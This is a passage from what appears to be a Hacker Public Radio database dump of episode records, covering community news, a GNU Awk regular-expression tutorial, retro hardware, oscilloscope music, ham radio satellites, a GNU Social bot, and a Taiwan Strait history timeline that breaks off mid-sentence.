\"<em>How to save bad beans or the French press</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=126\" target=\"_blank\">cobra2</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2440#1\" target=\"_blank\">Comment 1</a>:\nKlaatu on 2017-12-10:\n\"coffee\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2440#2\" target=\"_blank\">Comment 2</a>:\ncobra2 on 2017-12-11:\n\"coffee\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2441#comments\" target=\"_blank\">hpr2441</a></strong>\n(2017-12-11) \"<em>Server Basics 103</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=78\" target=\"_blank\">klaatu</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2441#1\" target=\"_blank\">Comment 1</a>:\nx1101 on 2017-12-11:\n\"Moving follow up to comments\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2442#comments\" target=\"_blank\">hpr2442</a></strong>\n(2017-12-12) \"<em> The sound of Woodbrook Quaker Study centre in the Spring</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=338\" target=\"_blank\">Tony Hughes AKA TonyH1212</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2442#1\" target=\"_blank\">Comment 1</a>:\nSTLShawn on 2017-12-20:\n\"Peaceful\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2442#2\" target=\"_blank\">Comment 2</a>:\nTony Hughes on 2017-12-21:\n\"Reply to Shawn\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2443#comments\" target=\"_blank\">hpr2443</a></strong>\n(2017-12-13) \"<em>pdmenu</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=225\" target=\"_blank\">Dave Morriss</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2443#1\" target=\"_blank\">Comment 1</a>:\nb-yeezi on 2017-12-13:\n\"Need to give this a try\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2445#comments\" target=\"_blank\">hpr2445</a></strong>\n(2017-12-15) \"<em>Information Underground: Backwards Capitalism</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=107\" target=\"_blank\">lostnbronx</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2445#1\" target=\"_blank\">Comment 1</a>:\nFrank on 2017-12-15:\n\"Well Done\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2447#comments\" target=\"_blank\">hpr2447</a></strong>\n(2017-12-19) \"<em>Server Basics 104 OpenVPN Server</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=78\" target=\"_blank\">klaatu</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2447#1\" target=\"_blank\">Comment 1</a>:\nKen Fallon on 2017-12-21:\n\"Details\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2447#2\" target=\"_blank\">Comment 2</a>:\nKlaatu on 2017-12-27:\n\"shownotes\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2448#comments\" target=\"_blank\">hpr2448</a></strong>\n(2017-12-20) \"<em>Useful Bash functions - part 3</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=225\" target=\"_blank\">Dave Morriss</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2448#1\" target=\"_blank\">Comment 1</a>:\nSTLShawn on 2017-12-20:\n\"Fascinating\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2448#2\" target=\"_blank\">Comment 2</a>:\nDave Morriss on 2017-12-20:\n\"Thanks Shawn\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2448#3\" target=\"_blank\">Comment 3</a>:\nMike Ray on 2017-12-21:\n\"Bash shows\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2448#4\" target=\"_blank\">Comment 4</a>:\nDave Morriss on 2017-12-21:\n\"Thanks Mike\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2448#5\" target=\"_blank\">Comment 5</a>:\nMike Ray on 2017-12-29:\n\"BASH_REMATCH\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2448#6\" target=\"_blank\">Comment 6</a>:\nDave Morriss on 2017-12-29:\n\"Re: BASH_REMATCH\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2452#comments\" target=\"_blank\">hpr2452</a></strong>\n(2017-12-26) \"<em>Hydraulic Heavy Scale Project</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=209\" target=\"_blank\">David Whitman</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2452#1\" target=\"_blank\">Comment 1</a>:\nKen Fallon on 2017-12-19:\n\"retriever dog training\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2452#2\" target=\"_blank\">Comment 2</a>:\nSTLShawn on 2017-12-20:\n\"Would love dog training\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2454#comments\" target=\"_blank\">hpr2454</a></strong>\n(2017-12-28) \"<em>The Alien Brothers Podcast - S01E02 - Strictly Hacking</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=359\" target=\"_blank\">The Alien Brothers Podcast (ABP)</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2454#1\" target=\"_blank\">Comment 1</a>:\nTrucker Rich on 2017-12-28:\n\"Delivery and Content\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2455#comments\" target=\"_blank\">hpr2455</a></strong>\n(2017-12-29) \"<em>Interface Zero RPG Part 5</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=78\" target=\"_blank\">klaatu</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2455#1\" target=\"_blank\">Comment 1</a>:\nKen Fallon on 2017-12-20:\n\"Wasting shows\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2455#2\" target=\"_blank\">Comment 2</a>:\nKlaatu on 2017-12-28:\n\"Forgot a link\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2455#3\" target=\"_blank\">Comment 3</a>:\nDave Morriss on 2017-12-30:\n\"Added forgotten link\"</li></ul><br/>\n</li></ul>\n\n<h2>Mailing List discussions</h2>\n<p>\nPolicy decisions surrounding HPR are taken by the community as a whole. This\ndiscussion takes place on the <a href=\"https://hackerpublicradio.org/maillist\"\ntarget=\"_blank\">Mail List</a> which is open to all HPR listeners and\ncontributors. The discussions are open and available on the HPR server under\n<a href=\"https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/\">Mailman</a>.\n</p>\n<p>The threaded discussions this month can be found here:</p>\n<a href=\"https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2017-December/thread.html\" target=\"_blank\">https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2017-December/thread.html</a>\n\n\n<h2>Any other business</h2>\n<h3 id=\"issue-tracker\">Issue Tracker</h3>\n<p>Josh of <a href=\"https://anhonesthost.com/shared-hosting/\">AnHonestHost.com</a> has provided HPR with a GitLab repository we use for storing website code and scripts. It includes an issue tracker which we have been using to track some of the recent issues we have been experiencing. We plan to use this more in the future.</p>\n<p>See <a href=\"https://gitlab.anhonesthost.com/HPR/HPR_Public_Code/issues\" class=\"uri\">https://gitlab.anhonesthost.com/HPR/HPR_Public_Code/issues</a>.</p>\n<h3 id=\"hosting-for-hpr\">Hosting for HPR</h3>\n<p>HPR is hosted by Josh of <a href=\"https://anhonesthost.com/shared-hosting/\">AnHonestHost.com</a>. We would appreciate it if you could <a href=\"https://secure.anhonesthost.com/cart.php?gid=17\">donate</a> to help reduce his costs in funding the hosting.</p>\n<p>HPR\'s shows and audio are also hosted by the Internet Archive (<a href=\"https://archive.org\">archive.org</a>). They are currently running a <a href=\"https://archive.org/donate/\">funding drive</a> where a generous supporter will match donations 3-to-1. As they say: &quot;<em>Your $5 becomes $20!&quot;</em></p>\n<p>Donations to the Internet Archive would also be appreciated.</p>\n<h3 id=\"hpr-shows-on-the-internet-archive\">HPR shows on the Internet Archive</h3>\n<p>HPR shows from number <a href=\"https://archive.org/details/hpr0871\">871</a> up to <a href=\"https://archive.org/details/hpr2455\">2455</a> are currently available on the Internet Archive as individual &quot;<em>identifiers</em>&quot; in the Archive terminology.</p>\n<p>Gradually, earlier shows are being added and the shows for the coming week are added each weekend. The podcast feeds have recently been redirected to download from the copies on <code>archive.org</code>.</p>\n<p>In recent months the upload process has been enhanced to make sure that a copy of the notes and all other components of each show (such as pictures, and downloadable files) are available on <code>archive.org</code> as well as on the HPR site. Earlier uploads where this was not the case will be updated in due course.</p>\n<h3 id=\"static-web-site\">Static web site</h3>\n<p>Can anyone recommend static site tools?</p>\n<h3 id=\"tags-and-summaries\">Tags and Summaries</h3>\n<p>Thanks to <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=79\"><code>Xoke</code></a> for sending in updates in the past month.</p>\n<!--\nvim: syntax=markdown:ts=8:sw=4:ai:et:tw=78:fo=tcqn:fdm=marker\n-->\n\n\n',159,47,1,'CC-BY-SA','Community News',0,0,1),
(2184,'2016-12-15','Gnu Awk - Part 5',2394,'In this episode, I describe how to use regular expressions with Awk.','<h2 id=\"gnu-awk---part-5\">GNU AWK - Part 5</h2>\r\n<h3 id=\"regular-expressions-in-awk\">Regular Expressions in AWK</h3>\r\n<p>The syntax for using regular expressions to match lines in AWK is as follows:</p>\r\n<pre><code>word ~ /match/</code></pre>\r\n<p>Or for not matching, use the following:</p>\r\n<pre><code>word !~ /match/</code></pre>\r\n<p>Remember the following file from the previous episodes:</p>\r\n<pre><code>name       color  amount\r\napple      red    4\r\nbanana     yellow 6\r\nstrawberry red    3\r\ngrape      purple 10\r\napple      green  8\r\nplum       purple 2\r\nkiwi       brown  4\r\npotato     brown  9\r\npineapple  yellow 5</code></pre>\r\n<p>We can run the following command:</p>\r\n<pre><code>$1 ~ /p[elu]/ {print $0}</code></pre>\r\n<p>We will get the following output:</p>\r\n<pre><code>apple      red    4\r\ngrape      purple 10\r\napple      green  8\r\nplum       purple 2\r\npineapple  yellow 5</code></pre>\r\n<p>In another example:</p>\r\n<pre><code>$2 ~ /e{2}/ {print $0}</code></pre>\r\n<p>Will produce the output:</p>\r\n<pre><code>apple      green  8</code></pre>\r\n<h3 id=\"regular-expression-basics\">Regular expression basics</h3>\r\n<p>Certain characters have special meaning when using regular expressions.</p>\r\n<h4 id=\"anchors\">Anchors</h4>\r\n<ul>\r\n<li><code>^</code> - beginning of the line</li>\r\n<li><code>$</code> - end of the line</li>\r\n<li><code>\\A</code> - beginning of a string</li>\r\n<li><code>\\z</code> - end of a string</li>\r\n<li><code>\\b</code> on a word boundary</li>\r\n</ul>\r\n<h4 id=\"characters\">Characters</h4>\r\n<ul>\r\n<li><code>[ad]</code> - a or d</li>\r\n<li><code>[a-d]</code> - any character a through d</li>\r\n<li><code>[^a-d]</code> - not any character a through d</li>\r\n<li><code>\\w</code> - any word</li>\r\n<li><code>\\s</code> - any white-space character</li>\r\n<li><code>\\d</code> - any digit</li>\r\n</ul>\r\n<p>The capital version of w, s, and d are negations.</p>\r\n<p>Or, you can reference characters the POSIX standard way:</p>\r\n<ul>\r\n<li><code>[:alnum:]</code> - Alphanumeric characters</li>\r\n<li><code>[:alpha:]</code> - Alphabetic characters</li>\r\n<li><code>[:blank:]</code> - Space and TAB characters</li>\r\n<li><code>[:cntrl:]</code> - Control characters</li>\r\n<li><code>[:digit:]</code> - Numeric characters</li>\r\n<li><code>[:graph:]</code> - Characters that are both printable and visible (a space is printable but not visible, whereas an ‘a’ is both)</li>\r\n<li><code>[:lower:]</code> - Lowercase alphabetic characters</li>\r\n<li><code>[:print:]</code> - Printable characters (characters that are not control characters)</li>\r\n<li><code>[:punct:]</code> - Punctuation characters (characters that are not letters, digits, control characters, or space characters)</li>\r\n<li><code>[:space:]</code> - Space characters (such as space, TAB, and formfeed, to name a few)</li>\r\n<li><code>[:upper:]</code> - Uppercase alphabetic characters</li>\r\n<li><code>[:xdigit:]</code> - Characters that are hexadecimal digits</li>\r\n</ul>\r\n<h4 id=\"quantifiers\">Quantifiers</h4>\r\n<ul>\r\n<li><code>.</code> - match any character</li>\r\n<li><code>+</code> - match preceding one or more times</li>\r\n<li><code>*</code> - match preceding zero or more times</li>\r\n<li><code>?</code> - match preceding zero or one time</li>\r\n<li><code>{n}</code> - match preceding exactly n times</li>\r\n<li><code>{n,}</code> - match preceding n or more times</li>\r\n<li><code>{n,m}</code> - match preceding between n and m times</li>\r\n</ul>\r\n<h4 id=\"grouped-matches\">Grouped Matches</h4>\r\n<ul>\r\n<li><code>(...)</code> - Parentheses are used for grouping</li>\r\n<li><code>|</code> - Means <em>or</em> in the context of a grouped match</li>\r\n</ul>\r\n<h3 id=\"replacement\">Replacement</h3>\r\n<ul>\r\n<li>The <code>sub</code> command substitutes the match with the replacement string. This only applies to the first match.</li>\r\n<li>The <code>gsub</code> command substitutes all matching items.</li>\r\n<li>The <code>gensub</code> command command substitutes the in a similar way as sub and gsub, but with extra functionality</li>\r\n<li>The <code>&amp;</code> character in the replacement field references the matched text. You have to use <code>\\&amp;</code> to replace the match with the literal <em>&amp;</em> character.</li>\r\n</ul>\r\n<p>Example:</p>\r\n<pre><code>{ sub(/apple/, &quot;nut&quot;, $1);\r\n    print $1}</code></pre>\r\n<p>The output is:</p>\r\n<pre><code>name\r\nnut\r\nbanana\r\nstrawberry\r\ngrape\r\nnut\r\nplum\r\nkiwi\r\npotato\r\npinenut</code></pre>\r\n<p>Another example:</p>\r\n<pre><code>{ sub(/.+(pp|rr)/, &quot;test-&amp;&quot;, $1);\r\n    print $1}</code></pre>\r\n<p>This produces the following output:</p>\r\n<pre><code>name\r\ntest-apple\r\nbanana\r\ntest-strawberry\r\ngrape\r\ntest-apple\r\nplum\r\nkiwi\r\npotato\r\ntest-pineapple</code></pre>\r\n<h2 id=\"resources\">Resources</h2>\r\n<ul>\r\n<li><a href=\"https://regex101.com\">Regex 101</a> - Advanced online regex tester</li>\r\n<li><a href=\"https://regexr.com\">RegExr</a> - Simple online regex tester</li>\r\n<li><a href=\"https://www.grymoire.com/Unix/Awk.html\">Grymoire\'s Awk Tutorial</a> - Great Resource for understanding Awk</li>\r\n<li><a href=\"https://www.gnu.org/software/gawk/manual/html_node/Regexp.html\">GNU Awk\'s Regex User Guide</a> - Official Gawk user guide</li>\r\n</ul>\r\n',300,94,0,'CC-BY-SA','awk, bash, command-line, cli',0,0,1),
(2187,'2016-12-20','The Toshiba Libretto 100ct',1707,'In this episode I discuss some of the quirks of setting up Toshiba Libretto for retro gaming.','<p>In this episode, I discuss some of the quirks I encountered when setting up my recently acquired Toshiba Libretto 100ct for retro gaming. I cover the hardware specs, a few tips on getting it running while dealing with Win98 woes.</p>\r\n<h3 id=\"links\">Links</h3>\r\n<ul>\r\n<li><p><a href=\"https://www.xodustech.com/guides/libretto-100ct-96mb-ram-upgrade\">Article detailing how to get the RAM up to 96MB</a></p></li>\r\n<li><p><a href=\"https://www.xodustech.com/guides/libretto-100ct-overclock\">Another article detailing how to overclock the processor</a></p></li>\r\n</ul>\r\n',325,0,1,'CC-BY-SA','Retro gaming, vintage hardware, Toshiba Libretto',0,0,1),
(2192,'2016-12-27','Fun with Oscilloscopes',572,'Taking a look at oscilloscope music.','<p>For an example of the effect, here is an example -</p>\r\n<ul>\r\n<li><a href=\"https://www.youtube.com/watch?v=rYzxHeAgE-I\">Jerobeam Fenderson - Deconstruct</a></li>\r\n<li>Link to the <a href=\"https://www.youtube.com/watch?v=ZaTuFB5QXHo&amp;t=5s\">original TechMoan video</a> that got me interested in the subject</li>\r\n<li><a href=\"https://www.youtube.com/watch?v=iM5BW75CKJQ\">Oscilloscope Music and Blender</a> - a video by one of the originators of the technique</li>\r\n<li><a href=\"https://www.youtube.com/channel/UCECl4aNz5hvuRzW5fgCOHKQ\">Jerobeam Fenderson</a> - original Oscilloscope music artist</li>\r\n<li><a href=\"https://oscilloscopemusic.com/\">Oscilloscope Music Website</a></li>\r\n<li><a href=\"https://asdfg.me/osci/\">Software Oscilloscope</a> - basically an oscilloscope emulator</li>\r\n</ul>\r\n<hr />\r\n<p>Here are some other interesting ideas for oscilloscopes -</p>\r\n<ul>\r\n<li><a href=\"https://www.youtube.com/watch?v=-FK7hy5usYE\">Video on an Oscilloscope</a></li>\r\n<li><a href=\"https://www.youtube.com/watch?v=GIdiHh6mW58\">Quake on an Oscilloscope</a></li>\r\n</ul>\r\n',325,0,1,'CC-BY-SA','Oscilloscope,music',0,0,1),
(2189,'2016-12-22','Working Amateur Radio Satellites',1925,'A brief overview of how to work your first satellite.','<!-- Processed by make_markdown V0.0.4 -->\r\n<p>Resources:</p>\r\n<ul>\r\n<li><a href=\"https://manor.space/~cmhobbs/dump/20161122_SO-50.mov\">Raw video (audio) of SO-50 reception.</a> Fast forward to about 7:30:</li>\r\n<li><a href=\"https://gpredict.oz9aec.net/\">gPredict</a></li>\r\n<li><a href=\"https://lilacsat.hit.edu.cn/?page_id=257\">LILACSAT-2</a></li>\r\n<li><a href=\"https://amsat.org/status\">AMSAT staatus</a></li>\r\n<li><a href=\"https://www.amsat.org/?page_id=2144\">AMSAT intro tips</a></li>\r\n<li><a href=\"https://amsat-uk.org\">AMSAT-UK</a></li>\r\n<li><a href=\"https://worksat.com\">Worksat</a></li>\r\n<li><a href=\"https://eHam.net\">eHam</a></li>\r\n<li><a href=\"https://www.amsat.org/amsat/ftp/keps/current/\">AMSAT keps</a></li>\r\n<li>##hamradio on irc.freenode.net</li>\r\n<li>AMSAT mailing lists: amsat-bb, ans</li>\r\n</ul>\r\n',241,0,0,'CC-BY-SA','hamradio, ham, radio, amateur, satellites, projects',0,0,1),
(2190,'2016-12-23','fucking botnets how do they work?',233,'how using botnets for legetimate purposes can be useful','<p>\r\nyou can download the files, which includes the video tutorial on my hidden website: <a href=\"https://qzc3ou3vccr3yjyg.onion/software/gs-bot.tar.gz\">https://qzc3ou3vccr3yjyg.onion/software/gs-bot.tar.gz</a> | you need the tor browser to do so\r\n</p>\r\n<p>\r\notherwise the video can be found on mediagoblin (minetest quality tho):\r\n<a href=\"https://roaming-initiative.com/mediagoblin/u/spaceman1/m/how-to-make-a-gnu-social-bot/\">https://roaming-initiative.com/mediagoblin/u/spaceman1/m/how-to-make-a-gnu-social-bot/</a>\r\n</p>\r\n	',344,0,1,'CC-BY-SA','GNU Social,bot',0,0,1),
(2191,'2016-12-26','Building a Soundboard Android App with App Inventor',603,'droops walks us through how to build Android Apps with App Inventor a block based language.','<p>\r\nBuilding quick Android Apps is simple with App Inventor. Droops walks through how to build a simple soundboard to play fun fart noises. This is a great project that he has done with his kids to bring computer science and computational thinking to the young ones. \r\n</p>\r\n<p>\r\n<img src=\"https://hackerpublicradio.org/eps/hpr2191_image.png\" width=\"80%\" alt=\"gui screenshot\" />\r\n</p>\r\n',1,0,0,'CC-BY-SA','android, app inventor, mit',0,0,1),
(2193,'2016-12-28','a clean podcast with no swearing',1074,'discussing the swearing drama ','<p>\r\n(replace-regex-in-string \"fuck\" \"rainbows\")\r\n</p>\r\n',344,0,1,'CC-BY-SA','freespeech',0,0,1),
(2194,'2016-12-29','The low-down on what\'s up in the Taiwan Strait.',1928,'In which I respond to \"I don\'t get this whole Taiwan/US/China thing\"','<p>Wow, my aim was really to be strict about the terminology and always talk about Beijing/PRC or Taipei/ROC, but I noticed that I was saying \"China\" and \"Taiwan\" a lot of the time. Lucky I\'m not trying to be the President, eh?</p>\r\n<p>I\'m sorry it\'s so long, but on the other hand I think I speak pretty slow, so it\'s probably pretty amenable to sped-up listening. :-)</p>\r\n<p>Or, you can skip ~27 minutes in to go straight to my overview of the current situation, without the \"short\" background.</p>\r\n<p>Also, pardon my pronunciation of Chinese names, which is an unpredictable mix of Cantonese, Cantonese-accented Mandarin, Mandarin and English.</p>\r\n<p>Background:</p>\r\n<div style=\"float: right; line-height: 1em; font-size: 0.5em\">\r\n<a href=\"https://en.wikipedia.org/wiki/File:China_imperialism_cartoon.jpg\"><img src=\"https://upload.wikimedia.org/wikipedia/commons/thumb/3/32/China_imperialism_cartoon.jpg/320px-China_imperialism_cartoon.jpg\" alt=\"World powers cutting up China\"></a>\r\n<br><em>(Image license: public domain)</em>\r\n</div>\r\n\r\n<ul>\r\n<li>1644 <a href=\"https://en.wikipedia.org/wiki/Qing_dynasty\">Qing dynasty</a></li>\r\n<li>1868 <a href=\"https://en.wikipedia.org/wiki/Meiji_Restoration\">Meiji Restoration</a></li>\r\n<li>1871 Imperial Japanese Army</li>\r\n<li>1895 End of <a href=\"https://en.wikipedia.org/wiki/First_Sino-Japanese_War\">First Sino-Japanese War</a><ul>\r\n<li>Treaty of Shimonoseki, annexation of Formosa/Taiwan</li>\r\n</ul>\r\n</li>\r\n<li>1905<ul>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Treaty_of_Portsmouth\">End of Russo-Japanese war</a>, birth of <a href=\"https://en.wikipedia.org/wiki/Kwantung_Army\">Kwantung Army</a><ul>\r\n<li><em>Don\'t mix up Kwantung/Guandung and Guangdong! One is in Manchuria in the north-east, one is near Hong Kong in the south ...</em></li>\r\n</ul>\r\n</li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Japan%E2%80%93Korea_Treaty_of_1905\">Korea a Japanese protectorate</a></li>\r\n</ul>\r\n</li>\r\n<li>1910 Japan annexes Korea</li>\r\n<li>1911 <a href=\"https://en.wikipedia.org/wiki/Xinhai_Revolution\">Xinhai Revolution</a></li>\r\n<li>1919<ul>\r\n<li>End of World War I</li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Treaty_of_Versailles\">Japan receives Germany\'s Chinese concessions</a></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Kuomintang\">Kuomintang</a> founded</li>\r\n</ul>\r\n</li>\r\n<li>1921 <a href=\"https://en.wikipedia.org/wiki/Communist_Party_of_China\">Communist Party of China</a></li>\r\n<li>1924 <a href=\"https://en.wikipedia.org/wiki/Mongolian_People%27s_Republic\">Mongolian People\'s Republic</a></li>\r\n<li>1925 Death of <a href=\"https://en.wikipedia.org/wiki/Sun_Yat-sen\">Sun Yat-sen</a></li>\r\n<li>1928 <a href=\"https://en.wikipedia.org/wiki/Northern_Expedition\">Northern Expedition</a></li>\r\n<li>1932<ul>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Mukden_Incident\">Mukden Incident</a></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Manchukuo\">Manchukuo</a></li>\r\n</ul>\r\n</li>\r\n<li>1936 Xi\'an incident <em>(don\'t mix up general <a href=\"https://en.wikipedia.org/wiki/Chiang_Kai-shek\">Chiang</a> and general <a href=\"https://en.wikipedia.org/wiki/Zhang_Xueliang\">Zhang</a>!)</em></li>\r\n<li>1937 <a href=\"https://en.wikipedia.org/wiki/Second_Sino-Japanese_War\">Japanese invasion</a>, <a href=\"https://en.wikipedia.org/wiki/Battle_of_Nanking\">fall of Nanking</a><div style=\"float: right; width: 320px; line-height: 1em; font-size: 0.5em\">\r\n<a href=\"https://commons.wikimedia.org/wiki/File:Japanese_Occupation_of_China_1940.svg\"><img src=\"https://upload.wikimedia.org/wikipedia/commons/thumb/c/cb/Japanese_Occupation_of_China_1940.svg/320px-Japanese_Occupation_of_China_1940.svg.png\" alt=\"Japanese occupation of China\"></a>\r\n<br><em>(Image license: CC-by-SA, Wikipedia users <a href=\"https://commons.wikimedia.org/wiki/User:Rowanwindwhistler\">Rowanwindwhistler</a> and <a href=\"https://commons.wikimedia.org/wiki/User:W.wolny\">W.wolny</a>, based on public domain work created by the US federal government)</em>\r\n</div></li>\r\n<li>1945 <ul>\r\n<li>WWII ends, Japan returns Taiwan to the ROC</li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Chinese_Communist_Revolution\">Chinese Communist Revolution</a></li>\r\n</ul>\r\n</li>\r\n<li>1947<ul>\r\n<li>Last election to the full ROC <a href=\"https://en.wikipedia.org/wiki/Legislative_Yuan\">Legislative Yuan</a></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/February_28_Incident\">February 28 Incident</a> between native Taiwanese and the ROC government</li>\r\n</ul>\r\n</li>\r\n<li>1949 PRC: CCP controls 99% of ROC<ul>\r\n<li><em>Temporary Provisions Effective During the Period of Communist Rebellion</em></li>\r\n<li>ROC recognizes Mongolia</li>\r\n</ul>\r\n</li>\r\n<li>1950<ul>\r\n<li>Korean war</li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Aftermath_of_the_Korean_War\">USA enters PRC-ROC politics</a></li>\r\n</ul>\r\n</li>\r\n<li>1961<ul>\r\n<li>Mongolia enters the UN</li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Sino-Soviet_split\">Sino-Soviet split</a></li>\r\n</ul>\r\n</li>\r\n<li>1971 July: Nixon goes to China</li>\r\n<li>1971 August: UN votes for PRC</li>\r\n<li>1975 Death of Chiang Kai-shek</li>\r\n<li>1976 Death of <a href=\"https://en.wikipedia.org/wiki/Mao_Zedong\">Mao</a></li>\r\n<li>1978 Economic reform (<a href=\"https://en.wikipedia.org/wiki/Deng_Xiaoping\">Deng Xiaoping</a>)</li>\r\n<li>1979 US recognition of the PRC</li>\r\n<li>1984 <a href=\"https://en.wikipedia.org/wiki/Sino-British_Joint_Declaration\">Sino-British Joint Declaration</a> (One Country, Two Systems)</li>\r\n<li>1986 Democratic Progressive Party voted into Legislative Yuan</li>\r\n<li>1987 <a href=\"https://en.wikipedia.org/wiki/Martial_law_in_Taiwan\">Martial law</a> lifted</li>\r\n<li>1988 Death of Chiang Ching-kuo</li>\r\n<li>1991 <em>Temporary Provisions</em> rescinded, DPP legal</li>\r\n<li>1991 <a href=\"https://en.wikipedia.org/wiki/Straits_Exchange_Foundation\">SEF</a> and <a href=\"https://en.wikipedia.org/wiki/Association_for_Relations_Across_the_Taiwan_Straits\">ARATS</a> founded</li>\r\n<li>1992 PRC-ROC <a href=\"https://en.wikipedia.org/wiki/1992_Consensus\">consensus on the One China Principle</a></li>\r\n<li>1996 Direct Presidential election, Taiwan Strait crisis</li>\r\n<li>1997 Handover of Hong Kong to PRC</li>\r\n<li>2000 First DPP President</li>\r\n<li>2008 <a href=\"https://en.wikipedia.org/wiki/Three_Links\">Three Links</a>, President <a href=\"https://en.wikipedia.org/wiki/Ma_Ying-jeou\">Ma Ying-jeou</a> (KMT)</li>\r\n<li>2014 <a href=\"https://en.wikipedia.org/wiki/Sunflower_Student_Movement\">Sunflower Movement</a></li>\r\n<li>2015 Ma-Xi meeting</li>\r\n<li>2016 DPP President Tsai Ing-wen</li>\r\n</ul>\r\n<p>Here\'s the text from IRC:</p>\r\n<p>China doesn\'t want Taiwan to be independent because that would be a loss of prestige to China.</p>\r\n<p>There are no technical details about it, it\'s all about symbolism.</p>\r\n<p>The China thing is a really interesting thing to unpack. First of all, if you ask the traditional ruling party on Taiwan, the KMT or GMD (Guo Min Dang), there is no country called Taiwan. The KMT and the CCP (Chinese Communist Party) agree that there is only one China and Taiwan is simply a province of that China. Where they disagree is whether the true government of the whole is in Beijing or in Taipei. (fun fact: the official capital of the Republic of China (Taiwan) is Nanjing, which is not under ROC control)</p>\r\n<p>Also, some de-facto parts of India and all of Mongolia is officially part of the ROC, according to their Constitution.</p>\r\n<div style=\"width: 500px; line-height: 1em; font-size: 0.5em\">\r\n<a href=\"https://en.wikipedia.org/wiki/Free_area_of_the_Republic_of_China#/media/File:ROC_Administrative_and_Claims.svg\"><img src=\"https://upload.wikimedia.org/wikipedia/commons/thumb/c/c0/ROC_Administrative_and_Claims.svg/500px-ROC_Administrative_and_Claims.svg.png\" alt=\"Map of ROC claims\"></a>\r\n<br><em>(Image license: CC-by-SA, Wikipedia user <a href=\"https://en.wikipedia.org/wiki/User_talk:ZanderSchubert\">ZanderSchubert</a>)</em>\r\n</div>\r\n\r\n<p>If you fly from Beijing, there are domestic flights and \"international flights and domestic flights to Hong Kong, Macau and Taiwan\".</p>\r\n<p>So the US and UN stance since 1972 is \"there is one China, and its government is in Beijing\". But at the same time US is giving military support to Taipei, which according to Beijing is an unruly province.</p>\r\n<p>As long as the status quo holds – that Taipei claims to rule all of China and Beijing claims to rule all of China and no outsider that matters challenges that – China (both of them!) is happy. It works, there are extended business relations between the two jurisdictions (most of the electronics made in China are made in factories owned by Taiwanese companies)</p>\r\n<p>Both the CCP and the KMT hope that in the long term, this can gradually creep toward a unification of China. If Taiwan would declare independence, that would mean war.</p>\r\n<p>Now, the current ruling party, the DPP (Democratic Progressive Party) officially support driving toward a Taiwanese rather than a Chinese national identity, and at some point independence. They are being very careful about it though, because they are also aware of how Beijing would react if they went out and did it. Also, while they do control the majority of the Legislative Yuan, there is a significant minority in Taiwan that adhere to a Chinese identity, don\'t want to upset China, and don\'t want formal independence. The current quirky situation works, and barriers have been coming down over the years. Relations are 